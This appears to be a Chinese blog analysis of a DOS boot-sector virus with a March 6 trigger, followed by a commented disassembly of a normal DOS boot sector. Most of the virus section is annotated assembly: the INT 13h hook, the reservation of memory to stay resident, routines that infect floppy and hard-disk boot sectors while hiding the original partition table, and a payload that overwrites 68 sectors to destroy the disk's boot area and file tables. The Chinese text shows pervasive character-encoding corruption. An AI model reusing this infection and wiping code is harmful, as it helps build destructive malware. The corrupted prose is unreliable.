一個(gè)主引導(dǎo)區(qū)病毒的分析- -
                                       
主引導(dǎo)區(qū)病毒的分析,匯編語(yǔ)言編寫的.教你組織自己的匯編程序和匯編程序的組織思維!
病毒體： 
JMP 01AF ;JMP到01AF 
DB 00 ;病毒標(biāo)計(jì) 
DW 00F5 ;此為搬到高位址后,遠(yuǎn)程跳轉(zhuǎn)指令 
DW 9F80 ;目的地,也就是跳下一個(gè)指令XOR AX,AX 
DB 02 
DW 0003 ;此為軟盤識(shí)別標(biāo)記,硬盤為0007 
DW EC59 ; 
DW F000 ;INT 13H的原入口 
. 
. 
. 
. 
. 
XOR AX,AX ;清除AX 
MOV DS,AX; ;讓DS=0000 
CLI ;清I標(biāo)志積存器 
MOV SS,AX ;把堆棧設(shè)為0000:7C00也就是開機(jī) 
MOV AX,7C00 ;后載入引導(dǎo)分區(qū)表的地址,目前地址 
MOV SP,AX ;開機(jī)時(shí)為0000:7CB6 
STI ;設(shè)I標(biāo)志積存器 
PUSH DS ;把DS=0000,AX=7C00壓棧,留給0B33:024A 
PUSH AX ;用RETF,把程序轉(zhuǎn)到引導(dǎo)或分區(qū)表位置 
MOV AX,[004C] ;取中斷向量表中,INT 13H的偏移位置 
MOV [7C0A],AX ;保存INT 13H的偏移位置,也就是存在 
MOV AX,[004E] ;取INT 13H的段地址 
MOV [7C0C],AX ;存到010C 
;以上是HOOK系統(tǒng)讀寫盤調(diào)用INT 13用病毒體替代原INT 13 
;讀寫以便傳播發(fā)作 

MOV AX,[0413] ;取得內(nèi)存K數(shù),放在AX 
DEC AX ; 
DEC AX ;減2k內(nèi)存 
MOV [0413],AX ;存回,通常是638K 
MOV CL,06 ; 
SHL AX,CL ; 
MOV ES,AX ;算出減2K后病毒本體的位址 
MOV [7C05],AX ;AX存入0105 

;病毒常用手法將系統(tǒng)高段內(nèi)存減少以便駐留 
;這樣可以免于被其他程序覆蓋 

MOV AX,000E ;病毒攔INT 13H 
;ISR起始的偏移量 
MOV [004C],AX ; 
MOV [004E],ES ;設(shè)原為病毒的INT 13H 
MOV CX,01BE ;病毒長(zhǎng)度為1BE 
MOV SI,7C00 ;從JMP 01AF開始 
XOR DI,DI ;DI=0 
CLD ;清方向標(biāo)志 
REPZ; 
MOVSB ;CX=1BE,將病毒自身搬移到高位址,目地是使其引導(dǎo)或 
CS: ;分區(qū)表能載入0000:7C00正常運(yùn)作 
JMP FAR [7C03] ;跳到為搬過(guò)后的位址 
XOR AX,AX ;清AX 
MOV ES,AX ;ES=0000 
INT 13 ;復(fù)位磁盤 
PUSH CS ; 
POP DS ;讓DS=CS 
MOV AX,0201 ;用INT 13H讀一扇區(qū),是引導(dǎo),或分區(qū)表則 
MOV BX,7C00 ;讀到0000:7C00 
MOV CX,[0008] ;硬盤第0道,第7扇區(qū) 
CMP CX,+07 ;比較是否從硬盤啟動(dòng) 
JNZ 0213 ;不是跳0213 
MOV DX,0080 ;第一硬盤C:第零面 
INT 13 ;用INT 13號(hào)中斷,讀 
JMP 023E ;跳023E比較日期,發(fā)作或正常開機(jī) 
MOV CX,[0008] ;軟盤0道,第3扇區(qū) 
MOV DX,0100 ;A:的第0面 
INT 13 ;INT 13讀盤 
JB 023E ;失敗跳023E 
PUSH CS 
POPES ;讓ES=CS 
MOV AX,0201 ; 
MOV BX,0200 ; 
MOV CX,0001 ; 
MOV DX,0080 ; 
INT 13 ;讀入C:的分區(qū)表到0200,以便下面比較 
JB 023E ;失敗跳023E 
XOR SI,SI ;清SI 
CLD ;清方向標(biāo)志以便比較 
LODSW ;載入一個(gè)WORD到AX 
CMP AX,[BX] ;比較有無(wú)病毒存在..E9AC 
JNZ 0287 ;沒(méi)有則跳0287傳染 
LODSW ;載入一個(gè)WORD到AX 
CMP AX,[BX+02] ;再次確認(rèn)..0000 
JNZ 0287 ;沒(méi)有跳0287 
XOR CX,CX ;清CX 
MOV AH,04 ; 
INT 1A ;取得日期 
CMP DX,0306 ;是否為三月六日 
JZ 024B ;是跳024B傳染 
RETF ;把程序交還給引導(dǎo)啟動(dòng)完成 

步驟4：病毒INT 13代碼分析 
方法：U 
PUSH DS ;首先把要用到積存器 
PUSH AX ;入棧保存 
OR DL,DL ;比較是否為軟盤 
JNZ 002F ;如不是則退出傳染 
XOR AX,AX ;AX=0 
MOV DS,AX ;數(shù)據(jù)代段=0 
TEST BYTE PTR [043F],01 ;比較是否為A盤 
JNZ 002F ;不是則退出 
POP AX ;將以上保存積存器 
POP DS ;彈棧恢復(fù) 
PUSHF ;壓棧標(biāo)志積存器 
CS: ;以便執(zhí)行原INT 13 
CALL FAR [000A] ;執(zhí)行原INT 13 
PUSHF ;再次壓棧 
CALL 0036 ;以便跳轉(zhuǎn)到傳染程序 
POPF ;跳轉(zhuǎn)到執(zhí)行傳染 
RETF 0002 ;結(jié)束中斷調(diào)用返回 
POP AX ;恢復(fù) 
POP DS ;堆棧 
CS: ;跳轉(zhuǎn)到原正常INT 13 
JMP FAR [000A] ;地址執(zhí)行 

;此段代碼中展現(xiàn)了病毒常用手法,利用標(biāo)志積存器做跳轉(zhuǎn) 

步驟5：傳染過(guò)程分析 
方法：U 
對(duì)軟盤傳染過(guò)程： 
PUSH AX ;工 
PUSH BX ;作 
PUSH CX ;寄 
PUSH DX ;存 
PUSH DS ;器 
PUSH ES ;入 
PUSH SI ;棧 
PUSH DI ;保存 
PUSH CS ;以壓/彈棧方式 
POP DS ;使數(shù)據(jù)段DS和 
PUSH CS ;附加段ES均指向 
POP ES ;代碼段CS 
MOV SI,0004 ;試4次 
MOV AX,0201 ;設(shè)置各 
MOV BX,0200 ;積存器 
MOV CX,0001 ;為讀軟盤 
XOR DX,DX ;引導(dǎo)扇區(qū)做準(zhǔn)備 
PUSHF ;壓棧標(biāo)志積存器 
CALL FAR [000A] ;正常的INT 13調(diào)用 
JNB 0063 ;成功則轉(zhuǎn)判斷 
XOR AX,AX ;不成功復(fù)位 
PUSHF ;磁盤繼續(xù)讀 
CALL FAR [000A] ;如果4次 
DEC SI ;均勻不成功 
JNZ 0045 ;則退出跳轉(zhuǎn) 
JMP 00A6 ;退出傳染 
XOR SI,SI ;SI=0以便用 
CLD ;LODSW讀入軟盤 
LODSW ;第1或第2字進(jìn)行比較 
CMP AX,[BX] ;比較如果不包含病毒標(biāo)志 
JNZ 0071 ;則跳轉(zhuǎn)寫傳染 
LODSW ;如果已有標(biāo)志 
CMP AX,[BX+02] ;則退出 
JZ 00A6 ;傳染子程序 
MOV AX,0301 ;為寫盤準(zhǔn)備 
MOV DH,01 ;如果是360K 
MOV CL,03 ;則寫到1面0道3扇區(qū) 
CMP BYTE PTR [BX+15],FD ;比較軟盤 
JZ 0080 ;如果大于360K 
MOV CL,0E ;寫到1面0道14扇區(qū) 
MOV [0008],CX ;寫病毒標(biāo)志到軟盤 
PUSHF ;調(diào)用原INT 13 
CALL FAR [000A] ;進(jìn)行傳染 
JB 00A6 
MOV SI,03BE ;以下是將正常 
MOV DI,01BE ;引導(dǎo)扇區(qū)從 
MOV CX,0021 ;1BE起的21字節(jié)內(nèi)容 
CLD ;搬移到病毒程序尾部 
REPZ ;開始復(fù)制 
MOVSW 
MOV AX,0301 ;寫盤功能調(diào)用,寫一個(gè)扇區(qū) 
XOR BX,BX ;將病毒程序 
MOV CX,0001 ;寫入軟盤引導(dǎo)扇區(qū)內(nèi) 
XOR DX,DX ;設(shè)置為軟盤 
PUSHF 
CALL FAR [000A] ;執(zhí)行正常INT 13調(diào)用寫盤 
POP DI ;將 
POP SI ;工 
POP ES ;作 
POP DS ;寄 
POP DX ;存 
POP CX ;器 
POP BX ;退 
POP AX ;棧 
RET ;返回調(diào)用處 
對(duì)硬盤傳染過(guò)程： 
MOV CX,0007 ;第7扇區(qū) 
MOV [0008],CX ;此處為硬盤引導(dǎo)標(biāo)記 
MOV AX,301 ;寫功能調(diào)用 
MOV DX,0080 ;設(shè)置為硬盤 
INT 13 ;將正常引導(dǎo)扇區(qū)寫到0面0道7扇區(qū)內(nèi) 
JB 13E ;失敗則轉(zhuǎn) 
MOV SI,03BE ;原分區(qū)表地址 
MOV DI,01BE ;目標(biāo)地址 
MOV CX,0021 ;整個(gè)分區(qū)表 
REPNZ 
MOVSW ;開始復(fù)制 
;此段代碼是將硬盤分區(qū)信息,搬移到病毒程序尾部 
;這樣在分析著查看硬盤分區(qū)信息時(shí)仍能看到該部分 
;內(nèi)容,以次來(lái)麻痹分析者 
MOV AX,0301 ;準(zhǔn)備寫病毒提進(jìn)硬盤 
XOR BX,BX ;病毒體位置 
INC CL ;第一扇區(qū) 
INT 13 ;開始寫盤傳染 
JMP 013E ;轉(zhuǎn)到13E處判斷是否為3月6日，是則發(fā)作 

步驟6：破壞過(guò)程分析 
方法：U 
主要分析對(duì)硬盤數(shù)據(jù)破壞： 
. 
. 
. 
. 
. 
MOV DL,80 
MOV BYTE PTR[0007],04 
;準(zhǔn)備寫硬盤 
MOV AL,11 ;寫17個(gè)扇區(qū) 
MOV BX,5000 
MOV ES,BX ;從內(nèi)存ES:5000中處開始寫 
INT 13 ;殘不人睹 
JNB 0179 ;成功轉(zhuǎn)179繼續(xù)寫 
XOR AH,AH 
INT 13 ;不成功復(fù)位磁盤繼續(xù) 
INC DH ;使寫操作磁頭加1繼續(xù)? 
CMP DH,[0007] ;比較是否小于0007單元值 
JB 0150 ;是則返回開始處繼續(xù)寫 
XOR DH,DH ;DH=0 
INC CH ;再加扇區(qū) 
JMP 0150 ;反回繼續(xù)寫 
;以上操作實(shí)際上是對(duì)硬盤執(zhí)行4次寫操作，每次17個(gè)扇區(qū) 
;共68個(gè)扇區(qū)，這樣就完全破壞了盤中的引導(dǎo)扇區(qū)，根目錄 
;和文件分配表。 

引導(dǎo)扇區(qū)病毒，俺手里沒(méi)有，這是一段DOS BOOT的分析。BOOT區(qū)病毒和他完成同樣的工作，只不過(guò)每次 
讀盤的時(shí)將自身寫入磁盤。 
引導(dǎo)過(guò)程如下： 
1>調(diào)整堆棧位置 
2>修改并用修改后的磁盤參數(shù)表來(lái)復(fù)位磁盤系統(tǒng) 
3>計(jì)算根目錄表的首扇區(qū)的位置及IO.SYS的扇區(qū)位置 
4>讀入根目錄表的首扇區(qū) 
5>檢查根目錄表的開頭兩項(xiàng)是否為IO.SYS及MSDOS.SYS 
6>將IO.SYS文件開頭三個(gè)扇區(qū)讀入內(nèi)存0000:0700H處 
7>跳到0000:0700H處執(zhí)行IO.SYS,引導(dǎo)完畢 
003E FA CLI 
003F 33C0 XOR AX,AX 
0041 8ED0 MOV SS,AX 
0041 8ED0 MOV SS,AX 
0043 BC007C MOV SP,7C00 ; 初始化堆棧 
0046 16 PUSH SS 
0047 07 POP ES ;(ES)=0000H 
0048 BB7800 MOV BX,0078 ;1EH 號(hào)中斷向量的地址為0000:0078H 
004B 36 SS: ;(SS)=0000H 
004C C537 LDS SI,[BX] ;取1EH號(hào)中斷向量的內(nèi)容存入DS:SI 
004E 1E PUSH DS ;該中斷向量指向一個(gè)11字節(jié)的磁盤參數(shù)表 
004F 56 PUSH SI ;取到后壓入堆棧中保存 
0050 16 PUSH SS 
0051 53 PUSH BX ;保存地址0000:0078H 
0052 BF3E7C MOV DI,7C3E ;7C3E-7C00=003EH,即偏移003EH,以下類推 
0055 B90B00 MOV CX,000B ;磁盤參數(shù)表共11字節(jié) 
0058 FC CLD 
0059 F3 REPZ 
005A A4 MOVSB ;將磁盤參數(shù)表復(fù)制到0000:7C3EH處 
005B 06 PUSH ES 
005C 1F POP DS ;(DS)=0000H 
005D C645FE0F MOV BYTE PTR [DI-02],0F ;修改參數(shù)表中"磁頭定位時(shí)間" 
0061 8B0E187C MOV CX,[7C18] ;從BPB中取"每磁道扇區(qū)數(shù)" 
0065 884DF9 MOV [DI-07],CL ;修改參數(shù)表中"每磁道扇區(qū)數(shù)" 
0068 894702 MOV [BX+02],AX ;(AX)=0000H,修改1EH號(hào)中斷向量(段址) 
006B C7073E7C MOV WORD PTR [BX],7C3E ;修改1EH號(hào)中斷向量(偏移),這樣1EH號(hào) 
006F FB STI ;中斷向量的內(nèi)容為0000:7C3EH,指向新的磁盤參數(shù)表 
0070 CD13 INT 13 ;用新的磁盤參數(shù)表來(lái)復(fù)位磁盤 
0072 7279 JB 00ED ;出錯(cuò)則轉(zhuǎn)出錯(cuò)處理 

; 下面一段程序計(jì)算扇區(qū)位置 
0074 33C0 XOR AX,AX 
0076 3906137C CMP [7C13],AX ;偏移0013H處是Dos分區(qū)的總扇區(qū)數(shù) 
007A 7408 JZ 0084 ;為零表示大硬盤? 
007C 8B0E137C MOV CX,[7C13] ;不為0則取出來(lái)放到偏移0020H處 
0080 890E207C MOV [7C20],CX ;這個(gè)值本程序未用,似乎為IO.SYS準(zhǔn)備的 
0084 A0107C MOV AL,[7C10] ;取FAT表的個(gè)數(shù) 
0087 F726167C MUL WORD PTR [7C16] ;乘以一個(gè)FAT表所占的扇區(qū)數(shù) 
008B 03061C7C ADD AX,[7C1C] ;加上Dos分區(qū)前的扇區(qū)數(shù)(隱藏扇數(shù),低位) 
008F 13161E7C ADC DX,[7C1E] ; 高位 
0093 03060E7C ADD AX,[7C0E] ;加上Dos分區(qū)內(nèi)的保留扇區(qū)數(shù)(低位) 
0097 83D200 ADC DX,+00 ; (高位) 
009A A3507C MOV [7C50],AX ;根目錄表的首扇的邏輯扇區(qū)號(hào)(低位) 
009D 8916527C MOV [7C52],DX ; (高位) 
00A1 A3497C MOV [7C49],AX ;此處放IO.SYS的首扇的邏輯扇區(qū)號(hào)(低位) 
00A4 89164B7C MOV [7C4B],DX ; (高位) 
00A8 B82000 MOV AX,0020 ;根目錄表中每項(xiàng)占32字節(jié) 
00AB F726117C MUL WORD PTR [7C11] ;乘以根目錄表中的項(xiàng)數(shù) 
00AF 8B1E0B7C MOV BX,[7C0B] ;取"每扇區(qū)的字節(jié)數(shù)" 
00B3 03C3 ADD AX,BX ;這兩條指令是為了取整 
00B5 48 DEC AX 
00B6 F7F3 DIV BX ;除以每扇字節(jié)數(shù),得到根目錄所占扇區(qū)數(shù) 
00B8 0106497C ADD [7C49],AX ;得到根目錄表后首扇的邏輯扇區(qū)號(hào)(低位) 
00BC 83164B7C00 ADC WORD PTR [7C4B],+00 ; (高位) 
;下面一段程序在根目錄表中找系統(tǒng)文件IO.SYS和MSDOS.SYS 
00C1 BB0005 MOV BX,0500 ;內(nèi)存緩沖區(qū)的偏移值 
00C4 8B16527C MOV DX,[7C52] ;取根目錄表的首扇的邏輯扇區(qū)號(hào)(高位) 
00C8 A1507C MOV AX,[7C50] ; (低位) 
00CB E89200 CALL 0160 ;將邏輯扇區(qū)號(hào)轉(zhuǎn)換為物理扇區(qū)號(hào) 
00CE 721D JB 00ED ;出錯(cuò)則轉(zhuǎn)出錯(cuò)處理 
00D0 B001 MOV AL,01 
00D2 E8AC00 CALL 0181 ;讀一個(gè)扇區(qū)到內(nèi)存(根目錄的首扇) 
00D5 7216 JB 00ED ;出錯(cuò)處理 
00D7 8BFB MOV DI,BX ;內(nèi)存緩沖區(qū)的首址 
00D9 B90B00 MOV CX,000B ;比較11個(gè)字節(jié) 
00DC BEE67D MOV SI,7DE6 ;偏移01E6處是串"IO SYS",長(zhǎng)11字節(jié) 
00DF F3 REPZ 
00E0 A6 CMPSB ;看第一項(xiàng)是否為IO.SYS 
00E1 750A JNZ 00ED ;不是則出錯(cuò) 
00E3 8D7F20 LEA DI,[BX+20] ;跳過(guò)32字節(jié)就指向第二項(xiàng) 
00E6 B90B00 MOV CX,000B ;比較11個(gè)字節(jié) 
00E9 F3 REPZ 
00EA A6 CMPSB ;看第二項(xiàng)是否為MSDOS.SYS 
00EB 7418 JZ 0105 ;是則兩個(gè)文件都已找到,跳過(guò)出錯(cuò)處理 

;下面一段進(jìn)行出錯(cuò)處理 
00ED BE9E7D MOV SI,7D9E ;偏移019EH處是串"Non system disk..." 
00F0 E85F00 CALL 0152 ;顯示字符串 
00F3 33C0 XOR AX,AX 
00F5 CD16 INT 16 ;等待任一鍵按下 
00F7 5E POP SI 
00F8 1F POP DS ;得到1EH號(hào)中斷向量的地址0000:0078H 
00F9 8F04 POP [SI] 
00FB 8F4402 POP [SI+02] ;恢復(fù)1EH號(hào)中斷向量的內(nèi)容 
00FE CD19 INT 19 ;自舉 
0100 58 POP AX 
0101 58 POP AX 
0102 58 POP AX ;清理堆棧 
0103 EBE8 JMP 00ED ;再次試圖起動(dòng) 

;下面讀入IO.SYS的頭3個(gè)扇區(qū)到內(nèi)存0000:0700H處 
0105 8B471A MOV AX,[BX+1A] ;從根目錄表第一項(xiàng)中取IO.SYS的首簇號(hào) 
0108 48 DEC AX 
0109 48 DEC AX ;首簇號(hào)減二 
010A 8A1E0D7C MOV BL,[7C0D] ;取每簇的扇區(qū)數(shù) 
010E 32FF XOR BH,BH 
0110 F7E3 MUL BX ;(首簇號(hào) - 2)乘以 每簇的扇區(qū)數(shù) 
0112 0306497C ADD AX,[7C49] ;相加后得到IO.SYS的首扇的邏輯扇區(qū)號(hào) 
0116 13164B7C ADC DX,[7C4B] 
011A BB0007 MOV BX,0700 ;內(nèi)存緩沖區(qū)的偏移值 
011D B90300 MOV CX,0003 ;循環(huán)計(jì)數(shù)初值,讀3個(gè)扇區(qū) 
0120 50 PUSH AX ;邏輯扇區(qū)號(hào)進(jìn)棧(低位) 
0121 52 PUSH DX ; (高位) 
0122 51 PUSH CX ;循環(huán)計(jì)數(shù)器進(jìn)棧 
0123 E83A00 CALL 0160 ;邏輯扇區(qū)號(hào)轉(zhuǎn)換為物理扇區(qū)號(hào) 
0126 72D8 JB 0100 ;出錯(cuò)處理 
0128 B001 MOV AL,01 
012A E85400 CALL 0181 ;讀一個(gè)扇區(qū)到內(nèi)存緩沖區(qū) 
012D 59 POP CX ;循環(huán)計(jì)數(shù)出棧 
012E 5A POP DX 
012F 58 POP AX ;邏輯扇區(qū)號(hào)出棧 
0130 72BB JB 00ED ;讀盤出錯(cuò)處理 
0132 050100 ADD AX,0001 
0135 83D200 ADC DX,+00 ;下一個(gè)扇區(qū) 
0138 031E0B7C ADD BX,[7C0B] ;緩沖區(qū)指針移動(dòng)一個(gè)扇區(qū)的大小 
013C E2E2 LOOP 0120 ;循環(huán)讀入三個(gè)扇區(qū) 
013E 8A2E157C MOV CH,[7C15] ;取"磁盤介質(zhì)描述",傳給IO.SYS 
0142 8A16247C MOV DL,[7C24] ;取"系統(tǒng)文件所在的驅(qū)動(dòng)器號(hào)" 
0146 8B1E497C MOV BX,[7C49] ;取IO.SYS的首扇的邏輯扇區(qū)號(hào) 
014A A14B7C MOV AX,[7C4B] 
014D EA00007000 JMP 0070:0000 ;執(zhí)行IO.SYS,引導(dǎo)完畢 
;顯示字符串的子程序 
0152 AC LODSB ;從串中取一個(gè)字符 
0153 0AC0 OR AL,AL 
0155 7429 JZ 0180 ;為0則已到串尾,返回(共用RET指令) 
0157 B40E MOV AH,0E 
0159 BB0700 MOV BX,0007 
015C CD10 INT 10 ;顯示該字符 
015E EBF2 JMP 0152 ;循環(huán)顯示下一個(gè) 
;將邏輯扇區(qū)號(hào)轉(zhuǎn)換為物理扇區(qū)號(hào)的子程序 
0160 3B16187C CMP DX,[7C18] ;這兩條指令是為了避免第二次除法時(shí)除數(shù) 
0164 7319 JNB 017F ;為0 
0166 F736187C DIV WORD PTR [7C18] ;邏輯扇取號(hào)除以每道扇區(qū)數(shù),商(AX)=總磁 
016A FEC2 INC DL ;道數(shù),余數(shù)(DX)再加一即為扇區(qū)號(hào),因?yàn)樯?
016C 88164F7C MOV [7C4F],DL ;區(qū)號(hào)是從1開始的,而不是從0開始 
0170 33D2 XOR DX,DX 
0172 F7361A7C DIV WORD PTR [7C1A] ;總磁道數(shù)(AX)再除以面數(shù),所得的 
0176 8816257C MOV [7C25],DL ;余數(shù)(DX)=面號(hào)(即磁頭號(hào)) 
017A A34D7C MOV [7C4D],AX ;商(AX)=磁道號(hào) 
017D F8 CLC 
017E C3 RET ;正常返回 
017F F9 STC 
0180 C3 RET ;異常返回 
;讀一個(gè)扇區(qū)的子程序 
0181 B402 MOV AH,02 ;讀功能調(diào)用 
0183 8B164D7C MOV DX,[7C4D] ;需要的入口參數(shù)如下: 
0187 B106 MOV CL,06 ;(DL)=驅(qū)動(dòng)器號(hào) 
0189 D2E6 SHL DH,CL ;(DH)=面號(hào) 
018B 0A364F7C OR DH,[7C4F] ;(CH)=磁道號(hào) 
018F 8BCA MOV CX,DX ;(CL)=扇區(qū)號(hào)(第6,7位為磁道號(hào)的高2位) 
0191 86E9 XCHG CH,CL ;(AL)=要讀的扇區(qū)數(shù) 
0193 8A16247C MOV DL,[7C24] ;(ES:BX)=緩沖區(qū)首址 
0197 8A36257C MOV DH,[7C25] 
019B CD13 INT 13 
019D C3 RET 
9x下的主引導(dǎo)/引導(dǎo)扇區(qū)沒(méi)大區(qū)別，為了識(shí)別大分區(qū)用了一個(gè)INT 13的擴(kuò)展調(diào)用42H。